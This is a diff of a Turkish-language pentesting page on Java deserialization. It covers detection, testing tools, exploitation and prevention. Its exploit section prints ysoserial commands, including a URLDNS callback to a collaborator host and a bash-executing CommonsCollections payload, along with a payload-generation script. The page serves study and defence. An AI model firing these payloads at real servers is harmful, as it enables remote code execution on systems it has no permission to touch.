+- `.faces` uzantılı web dosyaları ve `faces.ViewState` parametresi. Bu desenlerin bir web uygulamasında bulunması, [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md)'de detaylandırıldığı gibi bir inceleme yapılmasını gerektirmelidir.
 ```
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
 ### Açık olup olmadığını kontrol et
 
-Eğer **Java Deserialized bir açığın nasıl çalıştığını öğrenmek** istiyorsanız, [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md) belgelerine göz atmalısınız.
+**Java Deserialized exploit'in nasıl çalıştığını öğrenmek** istiyorsanız, şunlara bakın: [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), ve [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
 
-#### Beyaz Kutu Testi
+#### SignedObject-gated deserialization and pre-auth reachability
 
-Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın kurulu olup olmadığını kontrol edebilirsiniz.
+Modern kod tabanları bazen deserialization'ı `java.security.SignedObject` ile sarar ve iç nesneyi deserialize eden `getObject()` çağrısından önce imzayı doğrular. Bu, rastgele top-level gadget classes'ı engeller ancak bir saldırgan geçerli bir imza elde edebilirse (örn. private-key compromise veya bir signing oracle) hâlâ exploitable olabilir. Ayrıca, hata-işleme akışları kimliği doğrulanmamış kullanıcılar için session-bound token'lar mint edebilir ve böylece aksi halde korunan sinks'leri pre-auth durumda açığa çıkarabilir.
+
+For a concrete case study with requests, IoCs, and hardening guidance, see:
+
+{{#ref}}
+java-signedobject-gated-deserialization.md
+{{#endref}}
+
+#### White Box Test
+
+Bilinen güvenlik açıklarına sahip herhangi bir uygulamanın yüklü olup olmadığını kontrol edebilirsiniz.
 ```bash
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
 ```
-Tüm bilinen zayıf kütüphaneleri **kontrol etmeyi** deneyebilirsiniz ve [**Ysoserial**](https://github.com/frohoff/ysoserial) bunun için bir istismar sağlayabilir. Ya da [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.\
-Ayrıca, olası istismar edilebilecek gadget zincirlerini aramak için [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kullanabilirsiniz.\
-**gadgetinspector**'ı çalıştırırken (inşa ettikten sonra) karşılaştığı tonlarca uyarı/hata ile ilgilenmeyin ve bitirmesine izin verin. Tüm bulguları _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ altında yazacaktır. Lütfen, **gadgetinspector'ın bir istismar oluşturmayacağını ve yanlış pozitifler gösterebileceğini** unutmayın.
+You could try to **tüm bilinen ve [**Ysoserial** ](https://github.com/frohoff/ysoserial) için exploit sağlayabilen kütüphaneleri kontrol etmeyi**. Ya da [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) üzerinde belirtilen kütüphaneleri kontrol edebilirsiniz.\
+Ayrıca istismar edilebilecek olası gadget zincirlerini aramak için [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kullanabilirsiniz.\
+**gadgetinspector**'ı (build ettikten sonra) çalıştırırken karşısına çıkan çok sayıda uyarı/hata ile ilgilenmeyin ve bitmesine izin verin. Tüm bulguları _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ altında yazacaktır. Lütfen dikkat edin ki **gadgetinspector bir exploit oluşturmaz ve yanlış pozitifler gösterebilir**.
 
-#### Kara Kutu Testi
+#### Black Box Test
 
-Burp uzantısı [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (ve hatta sürümlerini) belirleyebilirsiniz. Bu bilgi ile, zayıflığı istismar etmek için **bir yük seçmek daha kolay olabilir**.\
-[**GadgetProbe hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-GadgetProbe, **`ObjectInputStream` deserialization**'larına odaklanmıştır.
+Burp eklentisi [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kullanarak **hangi kütüphanelerin mevcut olduğunu** (hatta sürümlerini) tespit edebilirsiniz. Bu bilgiyle zafiyeti istismar etmek için bir payload **seçmek daha kolay olabilir**.\
+[**GadgetProbe hakkında daha fazla bilgi için burayı okuyun**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
+GadgetProbe **`ObjectInputStream` deserializations** üzerine odaklanır.
 
-Burp uzantısı [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kullanarak **ysoserial ile istismar edilebilen zayıf kütüphaneleri** belirleyebilir ve **istismar** edebilirsiniz.\
-[**Java Deserialization Scanner hakkında daha fazla bilgi için bunu okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
-Java Deserialization Scanner, **`ObjectInputStream`** deserialization'larına odaklanmıştır.
+Burp eklentisi [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) ile ysoserial ile istismar edilebilen **vulnerable libraries**'i tespit edebilir ve bunları **exploit** edebilirsiniz.\
+[**Java Deserialization Scanner hakkında daha fazla bilgi için burayı okuyun.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
+Java Deserialization Scanner **`ObjectInputStream`** deserializations üzerine odaklanır.
 
-Ayrıca, **Burp** içinde **deserialization** zayıflıklarını **tespit etmek için** [**Freddy**](https://github.com/nccgroup/freddy) kullanabilirsiniz. Bu eklenti, **sadece `ObjectInputStream`** ile ilgili zayıflıkları değil, **Json** ve **Yml** deserialization kütüphanelerinden de zayıflıkları tespit edecektir. Aktif modda, bunları uyku veya DNS yükleri kullanarak doğrulamaya çalışacaktır.\
-[**Freddy hakkında daha fazla bilgi burada bulabilirsiniz.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
+Ayrıca [**Freddy**](https://github.com/nccgroup/freddy) kullanarak **Burp** içinde deserializations zafiyetlerini tespit edebilirsiniz. Bu eklenti sadece **`ObjectInputStream`** ile ilgili zafiyetleri değil aynı zamanda **Json** ve **Yml** deserialization kütüphanelerinden kaynaklanan zafiyetleri de tespit eder. Aktif modda, bunları sleep veya DNS payload'ları kullanarak doğrulamaya çalışır.\
+[**Freddy hakkında daha fazla bilgiyi burada bulabilirsiniz.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
 
-**Serileştirme Testi**
+**Serialization Test**
 
-Sunucu tarafından kullanılan herhangi bir zayıf kütüphaneyi kontrol etmekle ilgili her şey değil. Bazen, **serileştirilmiş nesne içindeki verileri değiştirebilir ve bazı kontrolleri atlayabilirsiniz** (belki bir web uygulaması içinde size yönetici ayrıcalıkları verebilir).\
-Bir web uygulamasına gönderilen bir java serileştirilmiş nesnesi bulursanız, **gönderilen serileştirme nesnesini daha okunabilir bir formatta yazdırmak için** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kullanabilirsiniz**. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştıracaktır.
+Her şey sunucunun herhangi bir zafiyetli kütüphane kullanıp kullanmadığını kontrol etmekle ilgili değildir. Bazen serileştirilmiş nesnenin içindeki verileri **değiştirip bazı kontrolleri atlayabilir** (örneğin bir webapp içinde size admin yetkisi verebilir).\
+Eğer bir java serialized object'in bir web uygulamasına gönderildiğini görürseniz, gönderilen serileştirme nesnesini daha insan okunabilir bir formatta yazdırmak için [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **kullanabilirsiniz**. Hangi verileri gönderdiğinizi bilmek, bunları değiştirmeyi ve bazı kontrolleri atlamayı kolaylaştırır.
 
-### **İstismar**
+### **Exploit**
 
 #### **ysoserial**
 
-Java deserialization'larını istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**buradan indirin**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ayrıca, karmaşık komutlar (örneğin, borular ile) kullanmanıza olanak tanıyacak [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) kullanmayı da düşünebilirsiniz.\
-Bu aracın **`ObjectInputStream`** istismarına **odaklandığını** unutmayın.\
-İnsanı **RCE** yükünden önce **"URLDNS"** yükünü kullanmaya **başlamanızı** öneririm, böylece enjeksiyonun mümkün olup olmadığını test edebilirsiniz. Her durumda, "URLDNS" yükünün çalışmadığını ancak başka bir RCE yükünün çalıştığını unutmayın.
+Java deserializations'ı istismar etmek için ana araç [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))'dır. Ayrıca kompleks komutları (örneğin pipe içeren) kullanmanıza izin veren [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) seçeneğini de düşünebilirsiniz.\
+Bu aracın **`ObjectInputStream`**'i istismar etmeye **odaklı** olduğunu unutmayın.\
+Enjeksiyonun mümkün olup olmadığını test etmek için bir RCE payload'tan önce **"URLDNS"** payload'ını **kullanmaya başlamanızı** tavsiye ederim. Yine de, "URLDNS" payload'ı çalışmayabilir ama başka bir RCE payload'ı çalışabilir.
 ```bash
 # PoC to make the application perform a DNS req
 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@@ -483,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
-Bir **java.lang.Runtime.exec()** yükü oluştururken, bir yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterler** kullanamazsınız, komutları yürütmek için "$()" kullanamazsınız veya bir komuta **boşluklarla** ayrılmış **argümanlar** bile geçiremezsiniz ( `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Yükü doğru bir şekilde kodlamak için [bu web sayfasını](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz.
+**java.lang.Runtime.exec()** için bir payload oluştururken yürütmenin çıktısını yönlendirmek için ">" veya "|" gibi **özel karakterleri kullanamazsınız**, komut çalıştırmak için "$()"'ı veya bir komuta boşluklarla ayrılmış **argümanları geçiremezsiniz** (örneğin `echo -n "hello world"` yapabilirsiniz ama `python2 -c 'print "Hello world"'` yapamazsınız). Payload'ı doğru şekilde encode etmek için [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html) kullanabilirsiniz.
 
-Windows ve Linux için **tüm olası kod yürütme** yüklerini oluşturmak ve ardından bunları savunmasız web sayfasında test etmek için aşağıdaki betiği kullanmaktan çekinmeyin:
+Aşağıdaki script'i kullanarak Windows ve Linux için **all the possible code execution** payload'larının tamamını oluşturup zafiyetli web sayfasında test edebilirsiniz:
 ```python
 import os
 import base64
@@ -508,12 +523,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 ```
 #### serialkillerbypassgadgets
 
-**Daha fazla exploit oluşturmak için** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ve ysoserial'i kullanabilirsiniz**. Bu aracın daha fazla bilgisi, aracın sunulduğu **konuşmanın slaytlarında** bulunmaktadır: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+Bu [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) adresini ysoserial ile birlikte **kullanarak daha fazla exploit oluşturabilirsiniz**. Araç hakkında daha fazla bilgi, aracın tanıtıldığı konuşmanın **slaytlarında** bulunuyor: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 
 #### marshalsec
 
-[**marshalsec** ](https://github.com/mbechler/marshalsec), Java'daki farklı **Json** ve **Yml** serileştirme kütüphanelerini istismar etmek için yükler oluşturmak üzere kullanılabilir.\
-Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem** gerekti:
+[**marshalsec** ](https://github.com/mbechler/marshalsec) farklı **Json** ve **Yml** serialization kütüphanelerini Java'da exploit etmek için payload üretmek amacıyla kullanılabilir.\
+Projeyi derlemek için `pom.xml` dosyasına bu **dependencies**'leri **eklemem** gerekti:
 ```html
 <dependency>
 <groupId>javax.activation</groupId>
@@ -528,7 +543,7 @@ Projeyi derlemek için `pom.xml` dosyasına bu **bağımlılıkları** **eklemem
 <type>pom</type>
 </dependency>
 ```
-**Maven'ı yükleyin** ve **projeyi derleyin**:
+**maven'i yükleyin**, ve **projeyi derleyin**:
 ```bash
 sudo apt-get install maven
 mvn clean package -DskipTests
@@ -539,33 +554,33 @@ Bu Java JSON kütüphanesi hakkında daha fazla bilgi edinin: [https://www.alpha
 
 ### Labs
 
-- Bazı ysoserial payload'larını test etmek istiyorsanız **bu web uygulamasını çalıştırabilirsiniz**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
+- Eğer bazı ysoserial payloads'larını test etmek istiyorsanız bu webapp'i **çalıştırabilirsiniz**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
 
-### Neden
+### Why
 
-Java, çeşitli amaçlar için çok fazla serileştirme kullanır:
+Java çeşitli amaçlar için yoğun şekilde serialization kullanır, örneğin:
 
-- **HTTP istekleri**: Serileştirme, parametrelerin, ViewState'in, çerezlerin vb. yönetiminde yaygın olarak kullanılmaktadır.
-- **RMI (Uzak Yöntem Çağrısı)**: Tamamen serileştirmeye dayanan Java RMI protokolü, Java uygulamalarında uzak iletişim için bir köşe taşıdır.
-- **HTTP üzerinden RMI**: Bu yöntem, tüm nesne iletişimleri için serileştirmeyi kullanan Java tabanlı kalın istemci web uygulamaları tarafından yaygın olarak kullanılmaktadır.
-- **JMX (Java Yönetim Uzantıları)**: JMX, nesneleri ağ üzerinden iletmek için serileştirmeyi kullanır.
-- **Özel Protokoller**: Java'da, standart uygulama, ham Java nesnelerinin iletimini içerir; bu, gelecek istismar örneklerinde gösterilecektir.
+- **HTTP requests**: Serialization, parametrelerin, ViewState'in, çerezlerin vb. yönetiminde yaygın olarak kullanılır.
+- **RMI (Remote Method Invocation)**: Java RMI protokolü, tamamen serialization'a dayanan, Java uygulamalarında uzak iletişim için temel taşlardan biridir.
+- **RMI over HTTP**: Bu yöntem genellikle Java tabanlı thick client web uygulamaları tarafından kullanılır ve tüm nesne iletişimleri için serialization'dan yararlanır.
+- **JMX (Java Management Extensions)**: JMX, nesneleri ağ üzerinden göndermek için serialization kullanır.
+- **Custom Protocols**: Java'da standart uygulama ham Java nesnelerinin iletimi şeklindedir; bu, sonraki exploit örneklerinde gösterilecektir.
 
-### Önleme
+### Prevention
 
-#### Geçici nesneler
+#### Transient objects
 
-`Serializable` uygulayan bir sınıf, serileştirilemeyecek herhangi bir nesneyi sınıf içinde `transient` olarak uygulayabilir. Örneğin:
+`Serializable` implement eden bir sınıf, sınıf içinde serializable olmaması gereken herhangi bir nesneyi `transient` olarak işaretleyebilir. Örneğin:
 ```java
 public class myAccount implements Serializable
 {
 private transient double profit; // declared transient
 private transient double margin; // declared transient
 ```
-#### Serializable'ı Uygulaması Gereken Bir Sınıfın Serileştirilmesinden Kaçının
+#### Serializable'ı implement etmek zorunda olan bir sınıfın serileştirilmesinden kaçının
 
-Belirli **nesnelerin sınıf hiyerarşisi nedeniyle `Serializable`** arayüzünü uygulaması gereken senaryolarda, istemeden deserialization riski vardır. Bunu önlemek için, aşağıda gösterildiği gibi, bu nesnelerin deserializable olmalarını sağlamak için sürekli bir istisna fırlatan `final` `readObject()` yöntemi tanımlayın:
+Belirli **nesnelerin `Serializable`** arayüzünü sınıf hiyerarşisi nedeniyle uygulaması gerektiği durumlarda, istem dışı deserialization riski vardır. Bunu önlemek için bu nesnelerin deserialize edilemez olmasını sağlayın; bunun için her zaman bir istisna fırlatan `final` `readObject()` yöntemi tanımlayın, aşağıda gösterildiği gibi:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
@@ -573,12 +588,12 @@ throw new java.io.IOException("Cannot be deserialized");
 ```
 #### **Java'da Deserialization Güvenliğini Artırma**
 
-**`java.io.ObjectInputStream`'i Özelleştirmek**, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem, aşağıdaki durumlarda uygundur:
+**`java.io.ObjectInputStream`'i özelleştirme**, deserialization süreçlerini güvence altına almak için pratik bir yaklaşımdır. Bu yöntem aşağıdaki durumlarda uygundur:
 
-- Deserialization kodu kontrolünüz altındadır.
-- Deserialization için beklenen sınıflar bilinmektedir.
+- Deserialization kodu sizin kontrolünüz altındaysa.
+- Deserialization için beklenen sınıflar biliniyorsa.
 
-Sadece izin verilen sınıflara deserialization'ı sınırlamak için **`resolveClass()`** yöntemini geçersiz kılın. Bu, yalnızca açıkça izin verilen sınıfların, örneğin deserialization'ı yalnızca `Bicycle` sınıfı ile sınırlayan aşağıdaki örnekte olduğu gibi, deserialization'ını önler:
+Deserialization'ı yalnızca izin verilen sınıflarla sınırlamak için **`resolveClass()`** metodunu override edin. Bu, açıkça izin verilenler dışında herhangi bir sınıfın deserialization'ını engeller; örneğin aşağıdaki örnek deserialization'ı yalnızca `Bicycle` sınıfıyla sınırlar:
 ```java
 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
 public class LookAheadObjectInputStream extends ObjectInputStream {
@@ -599,17 +614,17 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Güvenlik Geliştirmesi için Java Ajansı Kullanımı** kod değişikliğinin mümkün olmadığı durumlarda bir geri dönüş çözümü sunar. Bu yöntem esasen **zararlı sınıfları kara listeye alma** için bir JVM parametresi kullanır:
+**Using a Java Agent for Security Enhancement** kod değişikliği mümkün olmadığında bir yedek çözüm sunar. Bu yöntem, JVM parametresi kullanarak öncelikle **blacklisting harmful classes** için uygulanır:
 ```
 -javaagent:name-of-agent.jar
 ```
-Dinamik olarak deserialization'ı güvence altına almanın bir yolunu sağlar, anlık kod değişikliklerinin pratik olmadığı ortamlarda idealdir.
+Bu, anlık kod değişikliklerinin pratik olmadığı ortamlarda ideal olan, deserialization'ı dinamik olarak güvence altına almanın bir yolunu sağlar.
 
-[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) örneğine bakın.
+Bir örnek için bakın: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
 
-**Serileştirme Filtrelerinin Uygulanması**: Java 9, **`ObjectInputFilter`** arayüzü aracılığıyla serileştirme filtrelerini tanıttı ve serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirlemek için güçlü bir mekanizma sağladı. Bu filtreler, deserialization süreci üzerinde ayrıntılı kontrol sunarak küresel veya akış başına uygulanabilir.
+**Implementing Serialization Filters**: Java 9, **`ObjectInputFilter`** arayüzü aracılığıyla serialization filters'ı tanıttı; bu, serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirtmek için güçlü bir mekanizma sağlar. Bu filtreler global olarak veya her bir stream için uygulanabilir ve deserialization süreci üzerinde ayrıntılı kontrol sunar.
 
-Serileştirme filtrelerini kullanmak için, tüm deserialization işlemlerine uygulanan küresel bir filtre ayarlayabilir veya belirli akışlar için dinamik olarak yapılandırabilirsiniz. Örneğin:
+Serialization filters'ı kullanmak için, tüm deserialization işlemlerine uygulanan bir global filtre ayarlayabilir veya belirli stream'ler için dinamik olarak yapılandırabilirsiniz. Örneğin:
 ```java
 ObjectInputFilter filter = info -> {
 if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@@ -621,101 +636,101 @@ return Status.ALLOWED;
 };
 ObjectInputFilter.Config.setSerialFilter(filter);
 ```
-**Dış Kütüphaneleri Kullanarak Güvenliği Artırma**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization'ını kontrol etme ve izleme için gelişmiş özellikler sunar. Bu kütüphaneler, deserialization'dan önce serileştirilmiş nesneleri analiz etme, sınıfları beyaz listeye alma veya kara listeye alma gibi ek güvenlik katmanları sağlayabilir ve özel serileştirme stratejileri uygulayabilir.
+**Harici Kütüphanelerden Yararlanarak Geliştirilmiş Güvenlik**: **NotSoSerial**, **jdeserialize** ve **Kryo** gibi kütüphaneler, Java deserialization süreçlerini kontrol etmek ve izlemek için gelişmiş özellikler sunar. Bu kütüphaneler, sınıfları whitelist/blacklist ile sınırlama, deserialization öncesi serialized objeleri analiz etme ve özel serialization stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
 
-- **NotSoSerial**, güvensiz kodun çalıştırılmasını önlemek için deserialization süreçlerini kesintiye uğratır.
-- **jdeserialize**, serileştirilmiş Java nesnelerinin deserialization işlemi yapılmadan analiz edilmesine olanak tanır ve potansiyel olarak zararlı içeriği tanımlamaya yardımcı olur.
-- **Kryo**, hız ve verimliliğe vurgu yapan alternatif bir serileştirme çerçevesidir ve güvenliği artırabilecek yapılandırılabilir serileştirme stratejileri sunar.
+- **NotSoSerial** deserialization süreçlerini keserek güvenilmeyen kodun çalışmasını engeller.
+- **jdeserialize** serialized Java objelerini deserialize etmeden analiz etmeye izin vererek potansiyel kötü amaçlı içeriği tespit etmeye yardımcı olur.
+- **Kryo** hız ve verimliliğe vurgu yapan alternatif bir serialization framework'üdür; güvenliği artırabilecek yapılandırılabilir serialization stratejileri sunar.
 
-### Referanslar
+### Kaynaklar
 
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
-- Deserialization ve ysoserial konuşması: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
+- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
 - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
 - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
-- Gadgetinspector hakkında konuşma: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) ve slaytlar: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
-- Marshalsec makalesi: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
+- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
+- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Java ve .Net JSON deserialization **makalesi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** konuşma: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) ve slaytlar: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- Deserialization CVE'leri: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
 
-## JNDI Enjeksiyonu & log4Shell
+## JNDI Injection & log4Shell
 
-**JNDI Enjeksiyonu nedir, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılır ve log4shell'i nasıl istismar edilir** (ve bu zafiyetin bir örneği) aşağıdaki sayfada bulabilirsiniz:
+Aşağıdaki sayfada **JNDI Injection**'ın ne olduğunu, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılabileceğini ve log4shell'in nasıl exploit edileceğini (ve bu vuln için örnek) bulun:
 
 {{#ref}}
 jndi-java-naming-and-directory-interface-and-log4shell.md
 {{#endref}}
 
-## JMS - Java Mesaj Servisi
+## JMS - Java Message Service
 
-> **Java Mesaj Servisi** (**JMS**) API'si, iki veya daha fazla istemci arasında mesaj göndermek için kullanılan bir Java mesaj odaklı ara yazılım API'sidir. Üretici-tüketici sorununu çözmek için bir uygulamadır. JMS, Java Platformu, Kurumsal Sürüm (Java EE) parçasıdır ve Sun Microsystems tarafından geliştirilen bir spesifikasyonla tanımlanmıştır, ancak o zamandan beri Java Topluluk Süreci tarafından yönlendirilmiştir. Java EE'ye dayalı uygulama bileşenlerinin mesaj oluşturmasına, göndermesine, almasına ve okumasına olanak tanıyan bir mesajlaşma standardıdır. Dağıtık bir uygulamanın farklı bileşenleri arasında iletişimin gevşek bir şekilde bağlı, güvenilir ve asenkron olmasını sağlar. (Kaynak: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
+> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 
-### Ürünler
+### Products
 
-Bu ara yazılımı kullanarak mesaj gönderen birkaç ürün bulunmaktadır:
+Bu middleware'i mesaj göndermek için kullanan çeşitli ürünler vardır:
 
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
 
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)
 
-### İstismar
+### Exploitation
 
-Temelde, **tehlikeli bir şekilde JMS kullanan birçok hizmet bulunmaktadır**. Bu nedenle, bu hizmetlere mesaj göndermek için **yeterli ayrıcalıklara** sahipseniz (genellikle geçerli kimlik bilgilerine ihtiyacınız olacaktır), **tüketici/abone tarafından deserialization yapılacak kötü niyetli serileştirilmiş nesneler** gönderebilirsiniz.\
-Bu, bu istismar sırasında **o mesajı kullanacak tüm istemcilerin enfekte olacağı** anlamına gelir.
